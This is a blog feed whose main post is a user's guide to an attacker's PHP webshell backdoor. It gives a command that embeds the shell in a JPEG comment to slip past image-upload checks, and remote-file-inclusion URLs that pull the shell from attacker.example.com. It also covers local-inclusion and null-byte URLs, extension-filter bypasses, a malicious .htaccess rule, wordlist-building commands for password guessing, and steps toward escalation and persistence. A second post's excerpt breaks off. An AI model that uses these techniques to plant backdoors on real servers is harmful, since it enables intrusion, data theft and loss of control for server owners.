WhiteWinterWolf.com - php-webshellhttps://www.whitewinterwolf.com/2017-12-02T00:00:00+01:00wwwolf’s PHP webshell user’s guide2017-12-02T00:00:00+01:002017-12-02T00:00:00+01:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-12-02:/posts/2017/12/02/wwwolfs-php-webshell-users-guide/<p>Web shells are backdoors relying on server-side scripting languages to be
executed by the targeted server and usually accessed through a browser.
While focused on <em>wwwolf’s <span class="caps">PHP</span> webshell</em> features, some part of this post are
general and can be applied to other other webshells as well.</p>
<p>While some web shells attempt to provide the most complete post-exploitation
frameworkas possible, and are therefore heavy and prone to bugs and
incompatibilities, <em>wwwolf’s <span class="caps">PHP</span> webshell</em> considers the web shell as a
transitional step in taking over a server.</p>
<p><em>wwwolf’s <span class="caps">PHP</span> webshell</em> focuses on the functionalities necessary to do:</p>
<ul>
<li>Local enumeration to discover the target’s environment and choose your
next step.</li>
<li>Payloads and toolkits files transfer and execution, to proceed with your
next step.</li>
</ul>
<p>It tries its best to:</p>
<ul>
<li><em>Be unobtrusive</em>, with a simple yet efficient interface.</li>
<li><em>Be reliable</em>, being as tolerant as possible regarding the target’s
environment and …</li></ul><p>Web shells are backdoors relying on server-side scripting languages to be
executed by the targeted server and usually accessed through a browser.
While focused on <em>wwwolf’s <span class="caps">PHP</span> webshell</em> features, some part of this post are
general and can be applied to other other webshells as well.</p>
<p>While some web shells attempt to provide the most complete post-exploitation
frameworkas possible, and are therefore heavy and prone to bugs and
incompatibilities, <em>wwwolf’s <span class="caps">PHP</span> webshell</em> considers the web shell as a
transitional step in taking over a server.</p>
<p><em>wwwolf’s <span class="caps">PHP</span> webshell</em> focuses on the functionalities necessary to do:</p>
<ul>
<li>Local enumeration to discover the target’s environment and choose your
next step.</li>
<li>Payloads and toolkits files transfer and execution, to proceed with your
next step.</li>
</ul>
<p>It tries its best to:</p>
<ul>
<li><em>Be unobtrusive</em>, with a simple yet efficient interface.</li>
<li><em>Be reliable</em>, being as tolerant as possible regarding the target’s
environment and the execution method.</li>
<li><em>Provide feedbacks</em>, so the attacker’s knows what’s going on server-side
and stays in control.</li>
</ul>
<h3 id="why-another-web-shell"><a class="toclink" href="#why-another-web-shell">Why another web shell?</a></h3>
<p>I often encountered issues when using other web shells:</p>
<ul>
<li>They use new <span class="caps">PHP</span> syntax and features not compatible with the old <span class="caps">PHP</span>
version running on some targets.</li>
<li>They make wrong assumptions on the remote <span class="caps">URL</span>, breaking <span class="caps">PHP</span> code injection
or <span class="caps">GET</span> parameters (un)expected by the server.</li>
<li>They often only display the standard output content, loosing stderr output.</li>
<li>They poorly handle special characters in output display (such as <code><</code>).</li>
<li>They do not allow file upload, or offer a method unsupported/blocked by the
target’s settings.</li>
<li>They require manual modifications depending whether the target is running
a <span class="caps">UNIX</span>-like or a Windows system.</li>
</ul>
<p><em>wwwolf <span class="caps">PHP</span> webshell</em> attempts to address all these issues and runs everywhere,
without requiring any modification or setting change:</p>
<ul>
<li>
<p>From the antique <span class="caps">PHP</span> 4.0 (2000):</p>
<p><span class="lb-small"><a href="#php4.png" id="php4.png-thumb" title="Click to enlarge"><img alt='PHP 4.0.6 on Linux 2.4.8 (Mandrake 8.1 "vitamin", the browser is Konqueror 2.2.1)' src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/php4.png"/></a></span></p>
</li>
<li>
<p>To the latest <span class="caps">PHP</span> 7 (2017):</p>
<p><span class="lb-small"><a href="#php7.png" id="php7.png-thumb" title="Click to enlarge"><img alt='PHP 7.0.19, running on Linux 4.9.0 (Debian 9.2 "stretch", the browser is Firefox ESR 52.5.0)' src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/php7.png"/></a></span></p>
</li>
<li>
<p>Through Windows servers:</p>
<p><span class="lb-small"><a href="#phpwin.png" id="phpwin.png-thumb" title="Click to enlarge"><img alt="PHP 7.1.11, running on Windows 2016 (the browser is Internet Explorer 11)" src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/phpwin.png"/></a></span></p>
</li>
</ul>
<h3 id="preparation-optional"><a class="toclink" href="#preparation-optional">Preparation (optional)</a></h3>
<h4 id="set-a-password"><a class="toclink" href="#set-a-password">Set a password</a></h4>
<p>You have the possibility to set a password to restrict the access to the
webshell, this is an optional step and by default no password is used.</p>
<p>Don’t do misplaced trust in this feature, as its main purpose is to protect the
innocent who may stumble on the webshell by accident.
In particular:</p>
<ul>
<li>
<p>To remain compatible with the widest range of targets, a relatively “weak”
algorithm (<span class="caps">SHA</span>-256) is used to obfuscate your password.</p>
<p>Even if unlikely when a complex password has being used, it remains safer to
assume that the adversary knows your password as soon as you send the
webshell containing your hash so don’t reuse it for any other purpose.</p>
</li>
<li>
<p>If the target doesn’t have the required <span class="caps">PHP</span> modules enabled, then this
password feature will voluntary fail open with an appropriate warning message.</p>
<p>This password feature is indeed designed as an optional and additional
convenience and must not get in your way of taking over your target.</p>
</li>
</ul>
<p>To set a password to your webshell:</p>
<ol>
<li>
<p>Use the provided <code>passhash.sh</code> script to generate your password hash:</p>
<div class="codehilite"><pre><span class="gp">wwwolf@attacker:~$</span> sh passhash.sh
<span class="go">WhiteWinterWolf's PHP webshell password hash generator</span>
<span class="go">Input the new password: (hidden input)</span>
<span class="go">Type the new password again: (hidden input)</span>
<span class="go">Update 'webshell.php' with the following values:</span>
<span class="go">$passprompt = "WhiteWinterWolf's PHP webshell: ";</span>
<span class="hll"><span class="go">$passhash = "59a3d7ec4e90384fc98251927f1b02ff91f92e478521ecaabbe0c586ff711338";</span>
</span><span class="gp">wwwolf@attacker:~$</span>
</pre></div>
<p><code>passhash.sh</code> offers several options, allowing to use it in an automated
way or to change the value of the webshell’s password prompt.
Use <code>-h</code> to list all available parameters.</p>
</li>
<li>
<p>Update the content of <em>webshell.php</em> as instructed in <code>passhash.sh</code> output:</p>
<div class="codehilite"><pre><span class="x">/*</span>
<span class="x">* Optional password settings.</span>
<span class="x">* Use the 'passhash.sh' script to generate the hash.</span>
<span class="x">* NOTE: the prompt value is tied to the hash!</span>
<span class="x">*/</span>
<span class="x">$passprompt = "WhiteWinterWolf's PHP webshell: ";</span>
<span class="hll"><span class="x">$passhash = "59a3d7ec4e90384fc98251927f1b02ff91f92e478521ecaabbe0c586ff711338";</span>
</span></pre></div>
<div class="admonition warning">
<p class="admonition-title">Warning</p>
<p>As indicated in the source code quoted above, the prompt value is tied
to the hash (it is used as a salt), so altering the prompt will invalidate the
hash and make accessing the webshell impossible unless you used the
<code>-p</code> option in <code>passhash.sh</code> to generate the matching hash value.</p>
</div>
</li>
</ol>
<p>Accessing the webshell now requires to input a password before accessing
main features:</p>
<p><span class="lb-small"><a href="#password.png" id="password.png-thumb" title="Click to enlarge"><img alt="Password input page" src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/password.png"/></a></span></p>
<h4 id="embed-the-webshell-in-an-picture-file"><a class="toclink" href="#embed-the-webshell-in-an-picture-file">Embed the webshell in an picture file</a></h4>
<p>A lot of web applications limit their upload feature to images files (profile
picture, embedded image in a post, etc.), often checking and altering the
file (not necessarily for security purposes, often just to ensure that the
image is properly sized and compressed).</p>
<p>The most documented way to bypass such measure is to include the webshell in
the image’s <abbr title="Exchangeable image file format">Exif</abbr> metadata.
Being the most documented, it is also the most widely checked: a lot of
websites now systematically remove <abbr title="Exchangeable image file format">Exif</abbr> metadata both for security and
privacy<sup id="fnref-exif-privacy"><a class="footnote-ref" href="#fn-exif-privacy">1</a></sup> reasons.</p>
<p>Being the result of a common effort between several media file formats (<abbr title="Exchangeable image file format">Exif</abbr> is
not limited to static images, it can also be used in sound or video files the
same way), <abbr title="Exchangeable image file format">Exif</abbr> is the most widely known but several file formats also offer
their own metadata system <em>in addition</em> to <abbr title="Exchangeable image file format">Exif</abbr> metadata.</p>
<p>The <code>wrjpgcom</code> command shown below integrates the webshell as a <abbr title="Join Photographic Expert Group"><span class="caps">JPEG</span></abbr> comment
block in some random and innocuous <abbr title="Join Photographic Expert Group"><span class="caps">JPEG</span></abbr> image file:</p>
<div class="codehilite"><pre>wrjpgcom -comment <span class="s2">"</span><span class="k">$(</span>cat webshell.php<span class="k">)</span><span class="s2">"</span> innocuous.jpg >malicious.jpg
</pre></div>
<p>The webshell stored this way in <em>malicious.jpg</em>:</p>
<ul>
<li>Won’t be detected by checking the file <abbr title="Multipurpose Internet Mail Extension"><span class="caps">MIME</span></abbr> type or the file content validity.</li>
<li>Won’t be detected nor removed by <abbr title="Exchangeable image file format">Exif</abbr> tools and libraries.</li>
<li>Won’t be affected by image manipulation (resize, resolution change, crop, etc.).</li>
<li>Will remain a fully functional <span class="caps">PHP</span> script file.</li>
</ul>
<h3 id="execute-the-web-shell-on-the-target"><a class="toclink" href="#execute-the-web-shell-on-the-target">Execute the web shell on the target</a></h3>
<p>Obviously a properly secured target won’t let you complete this step.
However, there are a number of potential entry points, from coding error in the
web application to configuration issues in either the web server or <span class="caps">PHP</span>, and
you need only one single exploitable vulnerability to be successful.</p>
<h4 id="remote-file-inclusion-rfi"><a class="toclink" href="#remote-file-inclusion-rfi">Remote file inclusion (<abbr title="Remote File Inclusion"><span class="caps">RFI</span></abbr>)</a></h4>
<p>Consider the following vulnerable <em>download.php</em> file:</p>
<div class="codehilite"><pre><span class="cp"><?php</span>
<span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'file'</span><span class="p">];</span>
</pre></div>
<p>In the <span class="caps">PHP</span> settings, if both <em><a href="https://secure.php.net/manual/en/filesystem.configuration.php" rel="external" title="Runtime Configuration (PHP documentation)">allow_url_fopen</a></em>
(enabled by default) and <em><a href="https://secure.php.net/manual/en/filesystem.configuration.php" rel="external" title="Runtime Configuration (PHP documentation)">allow_url_include</a></em> (added in <span class="caps">PHP</span> 5.2.0, disabled by
default) are enabled, it becomes possible to exploit this code to run
remotely hosted <span class="caps">PHP</span> files:</p>
<div class="codehilite"><pre>http://victim.example.com/download.php?file=http://attacker.example.com/webshell.php.txt
</pre></div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Notice the <em>.txt</em> extension at the end of the file name to avoid the
web shell <span class="caps">PHP</span> code to be interpreted on the attacker’s web server instead of
the targeted one.</p>
</div>
<p>Of course, this is the best scenario, but as stated above <span class="caps">PHP</span> default settings
will now prevent this so most chances are that you will first have to somehow
upload the webshell onto the target in order to execute it.</p>
<h4 id="upload-the-webshell-file-to-the-target"><a class="toclink" href="#upload-the-webshell-file-to-the-target">Upload the webshell file to the target</a></h4>
<h5 id="upload-forms"><a class="toclink" href="#upload-forms">Upload forms</a></h5>
<p>The easiest way to upload a file to the target system remains by using file
upload forms provided by the targeted web application itself.</p>
<p>Especially if you managed to get a valid account, there is a high amount of
chances that you have access to one or several upload forms fields, such as:</p>
<ul>
<li>Adding images or attachments to a post, gallery, private messages,
calendar entries, support tickets or any other kind of object the webapp handles.</li>
<li>Adding a profile picture.</li>
<li>Changing theme and customization features.</li>
</ul>
<p>If you are very lucky and that both:</p>
<ul>
<li>The uploaded file type is not checked.</li>
<li>Uploaded files are stored in a directory where <span class="caps">PHP</span> scripts execution is allowed.</li>
</ul>
<p>Then you can simply upload the plain <em>webshell.php</em> file as-is and access its
resulting <span class="caps">URL</span> directly to execute it.</p>
<h4 id="bypass-file-type-checking"><a class="toclink" href="#bypass-file-type-checking">Bypass file type checking</a></h4>
<h5 id="image-upload-fields"><a class="toclink" href="#image-upload-fields">Image upload fields</a></h5>
<p>A lot of web applications enforce some checks on uploaded files.
This however does not mean that the party is over, as such check may be weakly
implemented (relying on a blacklist instead of a whitelist, using weak regular
expressions, etc.) and still offer various ways to bypass them.</p>
<p>The most most widespread upload feature being image files upload, the most
common check that you will face will therefore be a verification that the file
you uploaded is indeed a valid image.
Sometimes, this check is not designed as a security feature per-see but is
just a side-effect of how the image is being processed server-side.
Image manipulation libraries raising an error on invalid image files, the
upload process will naturally fail.</p>
<p>See <a href="#embed-the-webshell-in-an-picture-file" title="Embed the webshell in an picture file">above</a> to get more information on how to properly embed the
webshell in an image file so that the file will remain a valid image and
the webshell code will persist through most image manipulations.</p>
<h5 id="fancy-names-and-extensions"><a class="toclink" href="#fancy-names-and-extensions">Fancy names and extensions</a></h5>
<p>Various issues exists, either bugs in the web application and/or weak server
settings, which may allow you to upload, and potentially execute, the webshell
when its file is named a certain way:</p>
<ul>
<li>
<p>Replacing the <em>.php</em> extension with an equivalent yet less common extension:
<em>webshell.phtml</em>, <em>webshell.pht</em>, <em>webshell.php7</em>, <em>webshell.php5</em>,
<em>webshell.php4</em>, <em>webshell.php3</em>.
All of them equally designate <span class="caps">PHP</span> script files, but they may be missing on
a list of blacklisted extensions (a sane web application would only rely on
a whitelist of allowed extensions precisely to avoid such issues).</p>
</li>
<li>
<p>Prefixing the <em>.php</em> extension with a known and allowed extension:
<em>webshell.jpg.php</em>.
Some buggy webapp checks may start from the first dot to check the
extension and wrongly allow such file.</p>
</li>
<li>
<p>Inserting a null byte between the real an fake extension
(<em>webshell.php\0.txt</em>) so the check goes against the fake extension
while the file will be saved with the malicious one.</p>
</li>
<li>
<p>With Apache targets: appending an unrecognized extension:
<em>webshell.php.123</em>.
Poorly configured Apache’s will make the <abbr title="Multipurpose Internet Mail Extension"><span class="caps">MIME</span></abbr> module to treat this as a
<a href="https://httpd.apache.org/docs/2.4/mod/mod_mime.html#multipleext" rel="external" title="Apache Module mod_mime: Files with Multiple Extensions (Apache documentation)">double-extension</a> and still invoke <span class="caps">PHP</span> to parse this file.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>This devastating issue came from an unfortunate recommendation in the
<a href="https://web.archive.org/web/20080622154700/http://www.php.net:80/manual/en/install.unix.apache2.php" rel="external" title="Apache 2.0 on Unix systems (PHP documentation - June, 2008 - from the web archive)"><span class="caps">PHP</span> documentation</a> and was the default setting
implemented by major distributions when setting-up <span class="caps">PHP</span> with Apache 2
for years (this documentation was first published in 2004 and fixed
in 2008).</p>
</div>
</li>
<li>
<p>With Windows targets:</p>
<ul>
<li>
<p>You may try to use upper-case letters in the extension to bypass
blacklisting (<em>webshell.pHp</em>).</p>
</li>
<li>
<p>Exploit special characters replacement rules when <span class="caps">PHP</span> is run by a <span class="caps">IIS</span>
server (‘>’, ‘<’ and ‘”’ (double-quote) are respectively replaced by
‘?’, ‘*’ and ‘.’).</p>
</li>
<li>
<p>On old <span class="caps">IIS</span> (6 and below): append the fake extension using a semicolon
as separator (<em>webshell.php;.jpg</em>).</p>
</li>
</ul>
</li>
</ul>
<p>These are just a few examples, you can find other ideas on
<a href="https://www.owasp.org/index.php/Unrestricted_File_Upload" rel="external" title="Unrestricted File Upload (OWASP)"><span class="caps">OWASP</span></a> and <a href="https://www.acunetix.com/websitesecurity/upload-forms-threat/" rel="external" title="Why File Upload Forms are a Major Security Threat (Acunetix)">Acunetix</a> websites.</p>
<h5 id="use-other-services"><a class="toclink" href="#use-other-services">Use other services</a></h5>
<p>Even if the targeted web application itself doesn’t allow file uploads, maybe
there are other webapps or other services running on the same server (<span class="caps">FTP</span>, <span class="caps">SMB</span>,
etc.) which may do.</p>
<p>If not directly vulnerable, these services may still be exploitable due to
password reuse or password guessing.
Various tools, see <a href="https://www.darknet.org.uk/tag/wordlist-generator/" rel="external" title="Wordlist generators (darknet.org.uk)">here</a> for nice descriptions of some of them,
allow to build custom wordlists notably starting from the content of the
targeted webapp.</p>
<p>If, for some reasons, these wordlist creation tools do not work with your
target here are a few shell commands which may help you:</p>
<div class="codehilite"><pre><span class="c"># Create a local mirror of the website.</span>
<span class="c"># Here I exclude .exe, .iso and .msi files (large and not useful here).</span>
wget -mpkEH -D 192.168.13.37 -R <span class="s2">"*.exe,*.iso,*.msi"</span> <span class="s2">"http://192.168.13.37:8081/"</span>
<span class="c"># Create a sorted list of words of more that four chars, lowercase and</span>
<span class="c"># without duplicates.</span>
grep -IRoh -E <span class="s1">'\w{4,}'</span> 192.168.13.37/ <span class="p">|</span> tr <span class="s1">'[A-Z]'</span> <span class="s1">'[a-z]'</span> <span class="p">|</span> sort -u >grep.out
<span class="c"># Generate derivatives from the collected words.</span>
john --wordlist<span class="o">=</span>./grep.out --rules<span class="o">=</span>Single --stdout >john.out
</pre></div>
<h4 id="execute-the-uploaded-file"><a class="toclink" href="#execute-the-uploaded-file">Execute the uploaded file</a></h4>
<h5 id="access-the-files-url"><a class="toclink" href="#access-the-files-url">Access the file’s <span class="caps">URL</span></a></h5>
<p>As long as the uploaded files are located in directories where <span class="caps">PHP</span> scripts
execution is allowed (which, of course, is a very bad idea), several of the
upload method described above allow to execute the <span class="caps">PHP</span> file by simply accessing
its <span class="caps">URL</span>.</p>
<h5 id="rename-the-file"><a class="toclink" href="#rename-the-file">Rename the file</a></h5>
<p>You may have the possibility to rename the file once uploaded.
If the check on the new name is not as thorough as the check on the
original uploaded file name, you may be able to:</p>
<ol>
<li>Upload the webshell embedded in a picture as <em>webshell.jpg</em>.</li>
<li>Rename the uploaded file to <em>webshell.php</em>.</li>
<li>Access the webshell <span class="caps">URL</span> to execute it.</li>
</ol>
<h5 id="exploit-path_info-virtual-directories"><a class="toclink" href="#exploit-path_info-virtual-directories">Exploit <em>PATH_INFO</em> virtual directories</a></h5>
<p><em>PATH_INFO</em> are virtual directory appended to a script name, consider the
following <span class="caps">URL</span>:</p>
<div class="codehilite"><pre>http://example.com/archives.php/2017/12/01
</pre></div>
<p>The path <em>/2017/12/01</em> doesn’t physically exist on the server, but this string
will be passed as parameter to the script <em>/archives.php</em>.</p>
<p>Vulnerable servers will execute the webshell upon reception of a <span class="caps">URI</span> such as
<em>/images/webshell.jpg/anything.php</em>, where <em>/images/webshell.jpg</em>
is the path to the webshell file:</p>
<ul>
<li>
<p>The <span class="caps">URL</span> ending with the <em>.php</em> extension selects the use of the <span class="caps">PHP</span> parser.</p>
</li>
<li>
<p>Since the file <em>anything.php</em> doesn’t exists, the server will consider this
to be a parameter to pass to the <em>/images/webshell.jpg</em> script.</p>
</li>
</ul>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Nginx servers were the most affected by this issue notably because of
weak configuration spread through blogs.
Always check that a <span class="caps">PHP</span> file requested by a client physically
exists on the server before passing the <span class="caps">URL</span> to the <span class="caps">PHP</span> parser.</p>
</div>
<h5 id="local-file-injection-lfi"><a class="toclink" href="#local-file-injection-lfi">Local file injection (<span class="caps">LFI</span>)</a></h5>
<p>If the web application suffers from an <span class="caps">PHP</span> file injection
vulnerability as we saw in the <a href="#remote-file-inclusion-rfi" title="Remote file inclusion (RFI)"><abbr title="Remote File Inclusion"><span class="caps">RFI</span></abbr> section</a> but its exploitation
is not possible (prevented by <span class="caps">PHP</span> settings, hardcoded string beginning, etc.),
you should still be able to use it to trigger a local file injection (<span class="caps">LFI</span>).</p>
<p>It works exactly as a <abbr title="Remote File Inclusion"><span class="caps">RFI</span></abbr>, instead that you provide a local path to a
previously uploaded webshell instead of a remote <span class="caps">URL</span>:</p>
<div class="codehilite"><pre>http://victim.example.com/download.php?file=images/webshell.jpg
</pre></div>
<p>Moreover this method doesn’t require the upload directory to allow <span class="caps">PHP</span> script
execution, however <span class="caps">PHP</span> script must be allowed to read uploaded files (but
they usually do).</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Sometimes it may be hard to precisely determine the exact location of the
uploaded file server-side.
In such situation:</p>
<ul>
<li>
<p>Don’t hesitate to download and install the same
web application as your target on a test system (an evaluation version
for commercial software or a slightly different version than the
target’s one should also be fine).</p>
</li>
<li>
<p>Check the product documentation, users forums and other support
resources to gather information on typical directory tree layouts.</p>
</li>
</ul>
</div>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>And what if the extension of the included file is hardcoded?
For instance:</p>
<div class="codehilite"><pre><span class="cp"><?php</span>
<span class="k">include</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'file'</span><span class="p">]</span> <span class="o">.</span> <span class="s1">'.inc.php'</span><span class="p">;</span>
</pre></div>
<p>In <span class="caps">PHP</span> version up to <a href="https://bugs.php.net/bug.php?id=39863" rel="external" title="file_exists() silently truncates after a null byte">5.3.3</a> included (2011) it was possible
to append a null byte at the end of the injected string to truncate it:</p>
<div class="codehilite"><pre>http://victim.example.com/download.php?file=images/webshell.jpg%00
</pre></div>
<p>Some blogs and forums now mention the possibility to still get the string
truncated by making the final string exceed some maximum length, I’m a bit
doubtful about this method and didn’t managed to get it working in
practice, but your mileage may vary<sup id="fnref-any-hints"><a class="footnote-ref" href="#fn-any-hints">2</a></sup>.</p>
</div>
<h5 id="upload-a-htaccess-file"><a class="toclink" href="#upload-a-htaccess-file">Upload a <em>.htaccess</em> file</a></h5>
<p>With Apache servers, if you have the possibility to upload a malicious
<em>.htaccess</em> file you can set <span class="caps">JPG</span> files to be considered as <span class="caps">PHP</span> script as follow:</p>
<div class="codehilite"><pre><span class="nb">AddType</span> application/x-httpd-php .jpg
</pre></div>
<p>In fact, in such situation the whole backdoor could be bundled in the
<em>.htaccess</em>, see Wireghoul’s <a href="https://github.com/wireghoul/htshells" rel="external" title="Self contained htaccess shells and attacks (GitHub)">htshells</a> project for more information.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>On Windows environments, it might be possible to overwrite a <em>.htaccess</em>
file located in the upload directory by exploiting Windows’ 8.3 names and
uploading the new file as <em>htacce~1</em>.</p>
<p>However be careful on how uploaded files are handled by the target service,
in particular if the destination destination file is opened and rewritten
or if the uploaded file is moved to its destination (the most common
behavior with <span class="caps">PHP</span>), as in the latter case this method will delete the
existing <em>.htaccess</em> and replace it with a new file named <em>htacce~1</em>.
This may result in a denial-of-service of the web application.</p>
</div>
<h3 id="main-interface-features"><a class="toclink" href="#main-interface-features">Main interface features</a></h3>
<p><em>wwwolf’s <span class="caps">PHP</span> webshell</em> main interface is composed of several areas.
Not all fields may be available depending on the target’s settings: in this
case a warning message will tell you which feature has been disabled and why.</p>
<p><span class="lb-small"><a href="#gui.png" id="gui.png-thumb" title="Click to enlarge"><img alt="wwwolf's PHP webshell interface" src="https://www.whitewinterwolf.com/posts/2017/12/02/wwwolfs-php-webshell-users-guide/gui.png"/></a></span></p>
<ol>
<li>
<p><strong>Fetch</strong>: these fields allows you to make the target fetch a file
from a remote server, usually a machine under your control.</p>
<p>If <em><a href="https://secure.php.net/manual/en/filesystem.configuration.php" rel="external" title="Runtime Configuration (PHP documentation)">allow_url_fopen</a></em> is enabled (the default but often disabled for
security reasons, wonder why…), the webshell will use <a href="https://secure.php.net/manual/en/function.fopen.php" rel="external" title="fopen (PHP documentation)"><code>fopen()</code></a>
to fetch the file.
Otherwise, it will attempt to use lower-level function allowing to bypass
this limitation.
The fetch method used in the latte case is very basic (redirection for
instance are ignored) but effective.</p>
<ul>
<li>
<p><strong>host</strong>: the address or name of the server the target must connect to.
By default this field is populated with your address as seen by the
remote server.</p>
<p>If OpenSSL is enabled in the target’s <span class="caps">PHP</span>, you can <a href="https://secure.php.net/manual/en/transports.inet.php" rel="external" title="Internet Domain: TCP, UDP, SSL, and TLS (PHP documentation)">use <span class="caps">TLS</span></a>
to protect the communication by prefixing the host name or address with
the <code>tls://</code> prefix<sup id="fnref-fopen-protos"><a class="footnote-ref" href="#fn-fopen-protos">3</a></sup>.</p>
</li>
<li>
<p><strong>port</strong>: the port to connect to.</p>
</li>
<li>
<p><strong>path</strong>: the path of the file to fetch, it should usually start with
a leading <code>/</code>.</p>
</li>
</ul>
</li>
<li>
<p><strong><span class="caps">CWD</span></strong>: The current working directory.</p>
<p>It defaults to the <span class="caps">PHP</span> script’s current working directory.
This default value will most likely directly tell you if you are facing
a Unix-like or a Windows target (compare <em>/var/www/html</em> with
<em>C:\Inetpub\wwwroot</em> for instance).</p>
<p>Any modification to this value will be persistent, allowing to upload
several files and execute various commands in the same
directory without having to re-type the path each time.</p>
<p><em>wwwolf’s <span class="caps">PHP</span> webshell</em> attempts to clear the <em><a href="https://secure.php.net/manual/en/ini.core.php" rel="external" title="Description of core php.ini directives (PHP documentation)">open_basedir</a></em> setting
(this setting should be overwritable since <span class="caps">PHP</span> version 5.3.0 included).
If the operation fails a warning will tell you its value.</p>
</li>
<li>
<p><strong>Upload</strong>: Upload a file, if the <em><a href="https://secure.php.net/manual/en/ini.core.php#ini.sect.file-uploads" rel="external" title="File uploads configuration options (PHP documentation)">file_uploads</a></em> setting allows it.</p>
</li>
<li>
<p><strong>Cmd</strong>: A shell command to execute on the remote server.</p>
<p>You should be able to type the command the same way as you would on a
traditional console, <em>wwolf’s <span class="caps">PHP</span> webshell</em> taking care of passing it
to the target’s shell (<code>/bin/sh</code> on Unix-like and <code>cmd.exe</code> on Windows) and
redirecting the error output to ensure that you get a complete and
accurate feedback.</p>
<p>The value is field is persistent.
To easily browse the target’s filesystem as part of the reconnaissance task,
simply leave this field to <code>ls -Al</code> (Unix-like targets) or <code>dir /a /q /-c</code>
(Windows targets) while changing the value the <em><span class="caps">CWD</span></em> field.</p>
<p>You can execute several commands at once, use <code>;</code> to separate them when
facing a Unix-like target and <code>&</code> to separate them when facing a Windows target.</p>
<div class="admonition note">
<p class="admonition-title">Note</p>
<p>Some Windows commands use control characters to format their output,
screwing it up as-far-as <span class="caps">PHP</span> is concerned.
Hopefully such commands propose an option to disable this feature, for
instance the <code>dir</code> command offers the <code>/-c</code> parameter.</p>
</div>
</li>
<li>
<p><strong>Clear Cmd</strong>: This link is JavaScript powered and allows to easily
clear and set the focus on the <em>Cmd</em> field.</p>
<p>This is a convenience-only feature as having to manually select and delete
the content of the <em>Cmd</em> field each time you want to execute a different
command may quickly become tedious.</p>
<p>If you don’t use JavaScript this feature will not work but this won’t impact
the webshell functionalities or behavior.</p>
</li>
<li>
<p><strong>Execute</strong>: Click on this button or press <em>Enter</em> to submit the form.</p>
<p>Server-side, the form content will be processed in this order:</p>
<ol>
<li>Change to the directory <em><span class="caps">CWD</span></em>.</li>
<li>Fetch and save a file from the <em>Fetch</em> <span class="caps">URL</span>.</li>
<li>Save a file sent through the <em>Upload</em> field.</li>
<li>Execute the <em>Cmd</em> command.</li>
</ol>
<p>The main idea here is that the current directory is changed as the first
step, and that the command is executed as the last step.
This allows to go in a directory, transfer a file and process it
(extract the tools archive, trigger a payload, etc.) in one single step.</p>
</li>
<li>
<p>This is the output area, containing the executed commands output as well as
warning and information messages from <em>wwwolf’s <span class="caps">PHP</span> webshell</em>.</p>
</li>
</ol>
<p>All form data is sent through <span class="caps">POST</span> requests.
A lot of webshells rely on <span class="caps">GET</span> , but this presents several disadvantages:</p>
<ul>
<li>
<p>If the webshell overwrites a value used to invoke the webshell, this will
fail.
For instance, if the webshell tries to set a value to the <code>path</code> <span class="caps">CGI</span>
parameter but you happen to execute the webshell using a <span class="caps">LFI</span> on the <code>path</code>
<span class="caps">CGI</span> parameter, with most other webshells you will have to manually modify
the webshell to use another variable, loosing time because of a tool limitation.</p>
</li>
<li>
<p>The same way the addition of some <span class="caps">CGI</span> parameters may change the server’s
execution flow, being interpreted as an attempt to access another page or
webapp functionality, again breaking your work and requiring you to alter
the webshell code.</p>
</li>
<li>
<p>The values submitted through <span class="caps">GET</span> are appended to the requested <span class="caps">URL</span> and,
therefore, most likely logged on the target-side.</p>
</li>
</ul>
<p>Using <span class="caps">POST</span> requests instead avoids these issues.</p>
<h3 id="what-to-do-next"><a class="toclink" href="#what-to-do-next">What to do next?</a></h3>
<p>Your next move will depend on a lot of factors, including what you want to
achieve, the nature of your target, your access level, etc.
There is no unique answer to <em>“What to do next?”</em>.</p>
<p>You may want to answer questions such as:</p>
<ul>
<li>What software and which versions is the target running?</li>
<li>Under which account are you executing your commands?</li>
<li>What have you access to? In particular:<ul>
<li>Are there any commands or scripting environment which may help you?</li>
<li>Have you a write access to a directory which would allow you to
store transfered files?</li>
</ul>
</li>
</ul>
<p>Once you know your target a little better, you may want to upload a payload, a
rootkit or a toolbox of some sort on the target to proceed with
privilege escalation or persistence tasks.</p>
<p>Good luck!
And as always: <em>stay ethical!</em></p>
<div class="footnote">
<hr/>
<ol>
<li id="fn-exif-privacy">
<p>Devices and software used to store a lot of potentially
privacy sensitive information as <abbr title="Exchangeable image file format">Exif</abbr> metadata: not only the name, model
and version of the device used but also often its unique <span class="caps">ID</span> number
potentially allowing to link a file with an phyical individual, <span class="caps">GPS</span>
coordinates, a timestamp and a thumbnail which may allow to retrieve hidden
parts of anonymized photographs. <a class="footnote-backref" href="#fnref-exif-privacy" title="Jump back to footnote 1 in the text">↩</a></p>
</li>
<li id="fn-any-hints">
<p>If you have a practical scenario allowing to make this technique
actually work, don’t hesitate to let me know and I will update this post
with your contribution. <a class="footnote-backref" href="#fnref-any-hints" title="Jump back to footnote 2 in the text">↩</a></p>
</li>
<li id="fn-fopen-protos">
<p>When <code>fopen()</code> is used, a side-effect is that you have access
to more protocol prefixes.
For now this is just presented as a low-level “trick” in using this
webshell, to keep things simple.
Feel free to send me feedbacks if you need some more proper handling of
<code>fopen()</code> abilities. <a class="footnote-backref" href="#fnref-fopen-protos" title="Jump back to footnote 3 in the text">↩</a></p>
</li>
</ol>
</div>wwwolf’s PHP webshell is now available2017-01-21T00:00:00+01:002017-12-02T00:00:00+01:00WhiteWinterWolftag:www.whitewinterwolf.com,2017-01-21:/posts/2017/01/21/wwwolfs-php-webshell-is-now-available/<p>I frequently encountered issues when using other web shells:</p>
<ul>
<li>They use new <span class="caps">PHP</span> syntax features not compatible with the old <span class="caps">PHP</span> version
running on some targets.</li>
<li>They make wrong assumption on the remote <span class="caps">URL</span>, breaking <span class="caps">PHP</span> code injection or
<span class="caps">GET</span> parameters (un)expected by the server.</li>
